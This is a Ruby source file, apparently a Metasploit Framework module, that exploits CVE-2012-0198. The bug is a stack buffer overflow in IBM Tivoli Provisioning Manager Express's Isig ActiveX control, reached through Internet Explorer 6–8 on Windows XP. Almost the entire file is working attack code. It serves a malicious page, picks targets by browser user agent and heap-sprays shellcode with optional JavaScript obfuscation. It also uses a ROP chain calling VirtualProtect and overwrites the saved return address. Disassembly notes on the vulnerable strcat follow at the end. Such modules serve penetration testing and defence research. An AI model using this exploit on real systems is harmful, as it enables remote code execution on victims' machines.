##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_name    => OperatingSystems::WINDOWS,
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :rank       => NormalRanking,
    :classid    => "{84B74E82-3475-420E-9949-773B4FB91771}",
    :vuln_test  => "RunAndUploadFile",
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability in the
        Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
        Manager Express for Software Distribution 4.1.1.

        The vulnerability is found in the "RunAndUploadFile" method
        where the "OtherFields" parameter with user controlled data
        is used to build a "Content-Dispoition" header and attach
        contents in a insecure way which allows to overflow a buffer
        in the stack.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi aka rgod', # Vulnerability discovery
          'juan vazquez', # Metasploit module
          'sinn3r' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE',   '2012-0198' ],
          [ 'OSVDB', '79735' ],
          [ 'BID',   '52252' ],
          [ 'URL',   'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]
        ],
      'Payload'        =>
        {
          'Space'       => 1000,
          'BadChars'    => "\x00",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # isig.dll 2.44.282.0
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop'         => nil,
              'Offset'      => 161, # length is strlen("submit") dependant
              'OffsetShell' => '0x800 - code.length',
              'ebp'         => 0x09090909,
              'Ret'         => 0x09090909
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop'         => nil,
              'Offset'      => 161, # length is strlen("submit") dependant
              'OffsetShell' => '0x800 - code.length',
              'ebp'         => 0x09090909,
              'Ret'         => 0x09090909
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop'         => :jre,
              'Offset'      => 161, # length is strlen("submit") dependant
              'OffsetShell' => '0x480',
              'ebp'         => 0x09090920,
              'Ret'         => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 01 2012",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
        ], self.class)
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    else
      return nil
    end
  end

  def get_payload(t, cli)

    if t['Rop'].nil?
      code = ""
    else
      #Fix the stack to avoid anything busted
      code = "\x81\xC4\x54\xF2\xFF\xFF"
    end
    code << payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # ROP chain generated by mona.py - See corelan.be
    case t['Rop']
    when :jre
      print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
      exec_size = 0xffffffff - code.length + 1
      rop =
      [
        0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
        exec_size,   # Value to NEG
        0x7c347f98,  # RETN (ROP NOP)
        0x7c3415a2,  # JMP [EAX]
        0xffffffff,
        0x7c376402,  # skip 4 bytes
        0x7c351e05,  # NEG EAX # RETN
        0x7c345255,  # INC EBX # FPATAN # RETN
        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
        0x7c344f87,  # POP EDX # RETN
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x7c351eb1,  # NEG EDX # RETN
        0x7c34d201,  # POP ECX # RETN
        0x7c38b001,  # &Writable location
        0x7c347f97,  # POP EAX # RETN
        0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
        0x7c345c30,  # ptr to 'push esp #  ret '
      ].pack("V*")
    end

    code = rop + code
    return code
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")

    p = get_payload(my_target, cli)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))

    js_spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['OffsetShell']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var i=0; i < 0x1A0; i++) {
      heap_obj.alloc(block);
    }

    JS

    js_spray = heaplib(js_spray, {:noobfu => true})

    if datastore['OBFUSCATE']
      js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
      js_spray.obfuscate
    end

    bof = rand_text_alpha(my_target['Offset'])
    bof << [my_target['ebp']].pack("V") # ebp
    bof << [my_target.ret].pack("V") # eip

    html = <<-HTML
    <html>
    <head>
    <script>
      #{js_spray}
    </script>
    </head>
    <object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
    <script>
      var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
      var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
      var flags = "-level5";
      msg = isig.RunAndUploadFile(url, fields, flags);
    </script>
    </html>
    HTML

    html = html.gsub(/^\t\t/, '')

    print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end

=begin

* Vulnerability notes

The Dangerous strcat allows to attach user-controlled contents after
the Content-disposition header:

.text:100040B0 Src             = byte ptr -100h
...
.text:100040DD                 push    [ebp+Source]    ; Source => User controlled via "fields" param
.text:100040E0                 lea     eax, [ebp+Src]
.text:100040E6                 push    eax             ; Dest => Local variable where the Content-disposition header
                                                       ; has been stored
.text:100040E7                 call    _strcat ; strcat used by this module to overflow

Function isn't protected with stack cookies so get
the control flow is easy by overwriting the saved EIP
on the stack.

=end